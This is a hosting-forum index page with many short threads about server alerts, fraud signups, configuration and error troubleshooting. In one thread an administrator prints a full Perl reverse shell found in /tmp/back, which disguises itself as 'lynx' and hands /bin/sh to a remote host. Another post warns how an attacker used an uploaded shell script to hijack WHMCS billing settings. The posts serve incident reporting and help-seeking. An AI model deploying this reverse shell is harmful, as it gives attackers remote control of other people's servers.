LSM Alert On Server

Alert: Open DNS Server

Apr 16, 2007

I've run "DNS report" test for one hosting in dnsstuff.com and got this warning (as some times before for other hosts:

---------------------
Fail:
Open DNS server

ERROR: One or more of your nameservers reports that it is an open DNS server. This usually means that anyone in the world can query it for domains it is not authoritative for (it is possible that the DNS server advertises that it does recursive lookups when it does not, but that shouldn't happen). This can cause an excessive load on your DNS server. Also, it is strongly discouraged to have a DNS server be both authoritative for your domain and be recursive (even if it is not open), due to the potential for cache poisoning (with no recursion, there is no cache, and it is impossible to poison it). Also, the bad guys could use your DNS server as part of an attack, by forging their IP address.
-----------------------

Is this anythhing important?

View 3 Replies View Related

Software To Alert Me Using Sms Or Email When Server Is Down

Mar 28, 2009

Is there any software to alert me using sms and email when my server is down?

I know a few good online solutions but i want to test also a solution from my pc.

View 4 Replies View Related

SSH Alert

Feb 8, 2008

I dont know if this has been asked before. Anyway what I want to accomplish is I want an email be sent to my email address everytime someone connects to my SSH. I want an email sent regardless it was a successful or failed login. Is there a step by step tutorial for this.

View 5 Replies View Related

LSM Alert

Mar 3, 2008

I just received this alert, can anyone tell me what that means?

I did not install anything...

> tcp 0 0 IP:19848 0.0.0.0:* LISTEN -
> tcp 0 0 IP:19900 0.0.0.0:* LISTEN -
> tcp 0 0 IP:22812 0.0.0.0:* LISTEN -
> tcp 0 0 IP:24924 0.0.0.0:* LISTEN -
> tcp 0 0 IP:27411 0.0.0.0:* LISTEN -
> tcp 0 0 IP:27542 0.0.0.0:* LISTEN -
> tcp 0 0 IP:29077 0.0.0.0:* LISTEN -
> tcp 0 0 IP:32895 0.0.0.0:* LISTEN -
> tcp 0 0 IP:36635 0.0.0.0:* LISTEN -
> tcp 0 0 IP:46277 0.0.0.0:* LISTEN -
> tcp 0 0 IP:47068 0.0.0.0:* LISTEN -
> tcp 0 0 IP:51199 0.0.0.0:* LISTEN -
> tcp 0 0 IP:52752 0.0.0.0:* LISTEN -
> tcp 0 0 IP:56869 0.0.0.0:* LISTEN -

View 0 Replies View Related

Alert Notification In Lfd

Apr 30, 2008

I installed csf: v3.28 on my server .

Where is this email configurable? I have seen this email alert notification in the logs numerous times but have yet to receive any alert emails from CSF/LFD.

View 1 Replies View Related

Relay Alert

Jun 5, 2008

i have this notification that keeps coming from the same ip at least 10 or 20 times a day since 3 days aprox. dunno what it is...

this is the message:

Quote:

subject: lfd on nameserver.domain: RELAY Alert for 200.27.xxx.xxx (domain.cl)

body:

Time: Thu Jun 5 10:56:19 2008
Type: RELAY, Remote IP - 200.27.xxx.xxx (domain.cl)
Count: 101 emails relayed
Blocked: No

Sample of the first 10 emails:

2008-06-05 10:19:56 1K4GJo-00040m-Rf <= 3eseofertas@gmail.com H=(mail.gmail.com) [200.27.xxx.xxx] P=esmtp S=1738 id=20080605102044.5323CE2BEB4A1707@gmail.com T="Especial Empresas STGO - CCTV -Evaluacion en Terreno sin Costo."

it looks like spam... is my server sending spam or im receiving it?

View 2 Replies View Related

Downtime Alert

Jul 13, 2007

I have many domains and webservers. so it's hard to monitor everything usually. i heard there are some websites and softwares to do this.

does windows 2003 have anything default like this ? or can anyone suggest the application for my windows 2003 server? which sends alerts if any error is going on my server?

Also there any other websites which is doing this monitoring? because i have some shared accounts and i want to monitor it too.

View 5 Replies View Related

VPS QoS Alert - Memory

May 30, 2007

please check the following screnshot

[url]

this is way better, my server goes up for 10-20 minutes then I have to hit restart from the virtouzzo, becuase the server simply goes dead. nothing loads..

how can I know which site on my vps is causing trouble and how to fix it?

View 3 Replies View Related

SCAM Alert : Hajto.com.pl

Apr 16, 2009

has anyone purchased a server from the op and received it yet?

View 14 Replies View Related

Alert For Fella Hosts

Apr 10, 2008

In less than 5 mins of account activation user named Paul McGrath, supposedly from NY. Allegedly using lolchurch.com domain (that domain was never forwarded to our server) and user just put a script called send.php and let it rip.

Good thing i was around and management looked at it within minutes (AcuNett).

So, watch for this user signing up and check account(if using that user name or similar domain or recent signups) for any such php page.

Now asks us for refund for suspending his site for spamming.. Asked for his driver license copy to first verify his address, so possibly i can report to paypal for possible fraud too or some online internet police maybe for fraud if there is such a police

Note to Mods. not sure where threads like these go to!

Quick edit: Now user trying to threaten us to give their refund cause they want it back for they spammed and deserve a refund for the same.

"Your servers were awful anyways, I maybe sent 500 emails? I'm gonna ask nicely before I actually do something about this, give me a refund."

he forgot 500 emails in less than 5 mins. does not look like not-spam. Anyways i go have some chat with the fraud, id does not match paypal payment id

View 14 Replies View Related

Error :: Alert: No_kernel_support_for_openvz_check_if_right_kernel...

Mar 25, 2009

why its doing this when i try create a vps?

Quote:

Alert: no_kernel_support_for_openvz_check_if_right_kernel...

Quote:

[root@box ~]# cat /etc/grub.conf
# grub.conf generated by anaconda
#
# Note that you do not have to rerun grub after making changes to this file
# NOTICE: You have a /boot partition. This means that
# all kernel and initrd paths are relative to /boot/, eg.
# root (hd0,0)
# kernel /vmlinuz-version ro root=/dev/sda5
# initrd /initrd-version.img
#boot=/dev/sda
default=0
timeout=5
splashimage=(hd0,0)/grub/splash.xpm.gz
hiddenmenu
title CentOS (2.6.18-92.1.22.el5)
root (hd0,0)
kernel /vmlinuz-2.6.18-92.1.22.el5 ro root=LABEL=/
initrd /initrd-2.6.18-92.1.22.el5.img
[root@box ~]#

Quote:

[root@box ~]# rpm -qa | grep kernel
kernel-2.6.18-92.el5
kernel-devel-2.6.18-92.el5
kernel-2.6.24.5grsechostnoc4.0.0x86_64libata-1
kernel-headers-2.6.18-92.1.22.el5
kernel-devel-2.6.18-92.1.22.el5
kernel-2.6.18-92.1.22.el5
[root@box ~]#

Have tried running:

yum -y install ovzkernel.x86_64

Quote:

Installing: ovzkernel ######################### [1/1]
Error unpacking rpm package ovzkernel - 2.6.18-92.1.18.el5.028stab060.2.x86_64
error: unpacking of archive failed on file /lib/modules/2.6.18-92.1.18.el5.028stab060.2/kernel/arch/x86_64/crypto/aes-x86_64.ko;49c8f08e: cpio: write

Installed: ovzkernel.x86_64 0:2.6.18-92.1.18.el5.028stab060.2
Complete!

View 3 Replies View Related

Fraud Account Alert

Jul 3, 2008

I've gotten two fraudulent signups from the following ip address:
206.53.49.**

Luckily, maxmind has caught him both times, but he's using an address from canada and the phone is fake but the domains he's using are real.

I've gone ahead and blocked the ips, but I just wanted to let you guys know.

View 14 Replies View Related

Email Phishing Alert

Apr 26, 2008

Gmail has a feature to detect email phishing and it marks them with a red header alert saying "Warning" This message may not be from whom......", I believe this red alert has nothing to do with spf record of that email, so how does it detect it as phishing email?

We have spf record and I sent an email from another server, when I received that emai the spf record was "softfail" but it does not have that red alert.

View 0 Replies View Related

Lfd: Suspicious File Alert

Mar 24, 2008

I got this system email:

Time: Sun Mar 23 23:09:01 2008
File: /tmp/back
Reason: Script, starts with #!
Owner: nobody:nobody
Action: No action taken

So I looked and the file says this:

#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!
");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!
");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!
");
connect(SOCKET, $paddr) || die("Error: $!
");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);

That one line 'echo "`uname -a`";echo "`id`";/bin/sh';

View 13 Replies View Related

Shell Script Alert

Jun 7, 2007

how i can secure vps from this kind of script and known when someone upload shell script. How do I set the alert so I get to know that someone has uploaded a script on the server

View 3 Replies View Related

Strange Error : Alert: File_exists_not_owned

Jun 9, 2009

strange error : Alert: file_exists_not_owned

file_exists_not_owned [/home/admin/lc//index.html]

this error gets displayed, when trying to edit any file (suitable filename ) via Kloxo

I checked the chmod permission it was 755, still I was unable to edit file via Kloxo

any suggestions on why this problem and how to overcome this?

View 3 Replies View Related

E-mail Alert On Root SSH Login

Jun 3, 2009

Want to be notified instantly when someone logs into my server as root With date time & local IP address

View 12 Replies View Related

[Security Alert] - WHMCS Users

May 19, 2008

this is not a WHMCS vulnerability, & you are most likely not affected if you have used the Further Security Tutorials, given by WHMCS.

1.) What has happened?

A professional hacker, signs up as a client, & adds a shell script to your attachments/downloads folder.
He gains complete access to your WHMCS admin, & changes your paypal & other gateway emails/accounts, to his emails/accounts.

2.) What to do?
Check your attachments/downloads folders, for any such scripts.
Use - [url]Furthur_Security_Steps to secure it.

Go to Payment Gateways, & check if the accounts are yours.

3.) How do I know so much about this?
Our installation, was also hacked. But, this hacker made a mistake.
He used his email account password, for signing up. I could get into his email, & see who has been hacked. I could also get into his PayPal & Egold, & refund all payments intended to go to LaceHost (me). I saw other host's payments too.

4.) Hacker has changed his modus operandi.
He now changes the paypal, to some other host's paypal, instead of his.
He also deleted tables from your database, may create a new administrator account, may modify other accounts, add affiliate commission etc.

5.) For more information on this hacker,
Add me on IM - lacehost [dot] live1 [at] yahoo [dot] com

6.) How many have been hacked?
According to what I saw in his PayPal, & his email, atleast 15 hosts have been hacked.

If your paypal has been changed to some other host's paypal, please do not blame them for hacking, we really do not need an inter-industry war here

View 14 Replies View Related

Lfd: High 5 Minute Load Average Alert - 6.37

Mar 21, 2008

I use CSF on a VPS with 512 RAM and 1024 Busrt and the other day I received the below notification. My hostsaid it was Mailman and since I don't use mailing lists the recommendationwas to disable it. So I did. I'm curious tho as to why this happened in the first place.

Time: Wed Mar 19 17:53:33 2008
1 Min Load Avg: 11.41
5 Min Load Avg: 6.37
15 Min Load Avg: 2.70
Running/Total Processes: 12/94 ...............

View 0 Replies View Related

Getting The Following Error: " Alert: Rebuild_failed_could_not_untar "

May 28, 2009

I got a VPS last night and right after I got my HyperVM login info. I tried to install Lxadmin (Kloxo) but I got the following error:

Alert: rebuild_failed_could_not_untar

Screenshot: [url]

I have tried many times to rebuild the VPS and Install lxadmin but I get the same error. I am not an expert working with VPS but if anyone here would like to help, please give me as many steps as possible so that I can do it. As of right now, I cannot SSH to my VPS, I can only access HyperVM.

View 2 Replies View Related

Improve Performance- Web Server, SSH Server, And Mail Server

May 8, 2007

I've got a VPS which is serving as the main server for a number of sites. Web Server, SSH Server, and Mail Server.

What I've got running:

Apache2, PHP5, MySQL5, Dovecot, Postfix

One of the sites is a growing forum with a MASSIVE photo album. This is the site where I notice the most slowness.

Changing the server software is not an option - Only optimization.

Quote:

Originally Posted by httpd.conf

ServerTokens OS
ServerRoot "/etc/httpd"
PidFile run/httpd.pid
Timeout 300
KeepAlive Off
MaxKeepAliveRequests 100
KeepAliveTimeout 5
<IfModule prefork.c>
StartServers 8
MinSpareServers 8
MaxSpareServers 13
ServerLimit 256
MaxClients 256
MaxRequestsPerChild 50
</IfModule>
<IfModule worker.c>
StartServers 2
MaxClients 150
MinSpareThreads 25
MaxSpareThreads 75
ThreadsPerChild 25
MaxRequestsPerChild 0
</IfModule>
Listen 80
LoadModule auth_basic_module modules/mod_auth_basic.so
LoadModule auth_digest_module modules/mod_auth_digest.so
LoadModule authn_file_module modules/mod_authn_file.so
LoadModule authn_alias_module modules/mod_authn_alias.so
LoadModule authn_anon_module modules/mod_authn_anon.so
LoadModule authn_dbm_module modules/mod_authn_dbm.so
LoadModule authn_default_module modules/mod_authn_default.so
LoadModule authz_host_module modules/mod_authz_host.so
LoadModule authz_user_module modules/mod_authz_user.so
LoadModule authz_owner_module modules/mod_authz_owner.so
LoadModule authz_groupfile_module modules/mod_authz_groupfile.so
LoadModule authz_dbm_module modules/mod_authz_dbm.so
LoadModule authz_default_module modules/mod_authz_default.so
LoadModule ldap_module modules/mod_ldap.so
LoadModule authnz_ldap_module modules/mod_authnz_ldap.so
LoadModule include_module modules/mod_include.so
LoadModule log_config_module modules/mod_log_config.so
LoadModule logio_module modules/mod_logio.so
LoadModule env_module modules/mod_env.so
LoadModule ext_filter_module modules/mod_ext_filter.so
LoadModule mime_magic_module modules/mod_mime_magic.so
LoadModule expires_module modules/mod_expires.so
LoadModule deflate_module modules/mod_deflate.so
LoadModule headers_module modules/mod_headers.so
LoadModule usertrack_module modules/mod_usertrack.so
LoadModule setenvif_module modules/mod_setenvif.so
LoadModule mime_module modules/mod_mime.so
LoadModule dav_module modules/mod_dav.so
LoadModule status_module modules/mod_status.so
LoadModule autoindex_module modules/mod_autoindex.so
LoadModule info_module modules/mod_info.so
LoadModule dav_fs_module modules/mod_dav_fs.so
LoadModule vhost_alias_module modules/mod_vhost_alias.so
LoadModule negotiation_module modules/mod_negotiation.so
LoadModule dir_module modules/mod_dir.so
LoadModule actions_module modules/mod_actions.so
LoadModule speling_module modules/mod_speling.so
LoadModule userdir_module modules/mod_userdir.so
LoadModule alias_module modules/mod_alias.so
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
LoadModule proxy_ftp_module modules/mod_proxy_ftp.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_connect_module modules/mod_proxy_connect.so
LoadModule cache_module modules/mod_cache.so
LoadModule suexec_module modules/mod_suexec.so
LoadModule disk_cache_module modules/mod_disk_cache.so
LoadModule file_cache_module modules/mod_file_cache.so
LoadModule mem_cache_module modules/mod_mem_cache.so
LoadModule cgi_module modules/mod_cgi.so
Include conf.d/*.conf
User apache
Group apache

Quote:

Originally Posted by my.cnf

[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
# Default to using old password format for compatibility with mysql 3.x
# clients (those using the mysqlclient10 compatibility package).
old_passwords=1

[mysql.server]
user=mysql
basedir=/var/lib

[mysqld_safe]
log-error=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid

View 8 Replies View Related

Remote Upload To Server (url/server To Server)

Mar 7, 2009

I looked a lot - can not find solution ....

I want to transfer a file from [url]to [url]or [url]Without it will pass my localcomputer (slow upload)

It can be also a script i will install like this one - this is only for images
[url](remote)

View 7 Replies View Related

Plesk 11.x / Windows :: Don't Have Root Access To Server As It Is A Webfusion Dedicated Server

Oct 16, 2013

I have Plesk 11.5 (service provider mode) on a Windows 2008 server IIS7.Most of my sites are developed in .asp and therefore i use a custom 500-100.asp error page that check s the IP of the visitor then displays either a friendly error, or if its my IP a full error of what has happened (it also emails me the error). This allows me to debug pages easily whilst developing and to keep an eye on anyone trying SQL Injection hacks on my sites (as the error and email also have session variables and IP address).I dont have root access to the server as it is a Webfusion dedicated server.I have following the Plesk documentation -

1) Switch on custom errors for the subscription
2) Look in virtual directories and navigate to error documents
3) Find the error in question (500:100) and change it to point at either a file or URL

FILE - I had the data centre add in the 500-100.asp error page in to the virtual template so that my page is available in the list of virtual files - this didn't work but that maybe because its not a static page??

URL - when i add the path it says its incorrect, if i add a fully qualified address, it accepts it but it doesn't work.give me a specific example of the URL that can be entered relative to the root as the format in the documentation isn't accepted. The last step is to restart IIS which is also an issue as i cant seem to do this from the Plesk panel..It is as if it isn't catching the 500:100 error, and only catching the general 500 error??

View 1 Replies View Related

Urchin 5 / Google A . Transfering From Server To Server (Serial Already Activated)

Nov 21, 2006

I am currently running Google Analytics/Urchin 5 (v5.7.02), on a server, the server has started to act up, (on its last legs etc) and now I am trying to transfer the Urchin Software to a new server, where it would work effectively.

However upon installing the urchin software on the new server and running it (localhost:9999), I am presented with An Action Items Page, and these following choices

Obtain Demo License
Buy License
Activate Pre-Purchased License

I choose �Activate Pre-Purchased License� pop in the Serial number and complete the registration then�

---------------------------------------------------------
Urchin Licensing Center -- Error!

An error has occured during your transaction, please use the back button and correct the problem. The specific error message is:

� Unable to generate a license. Some possible reasons:

Your serial code is currently active <<< How do I disable it and use it on another server?
---------------------------------------------------------

So all I want to do is deactivate the serial and reactivate it on another server.

Does anyone have experience with this or a similar problem or have a solution to this problem. Any help be most appriciated.

Or even a Contact Number so that i can get some one over the phone!

View 2 Replies View Related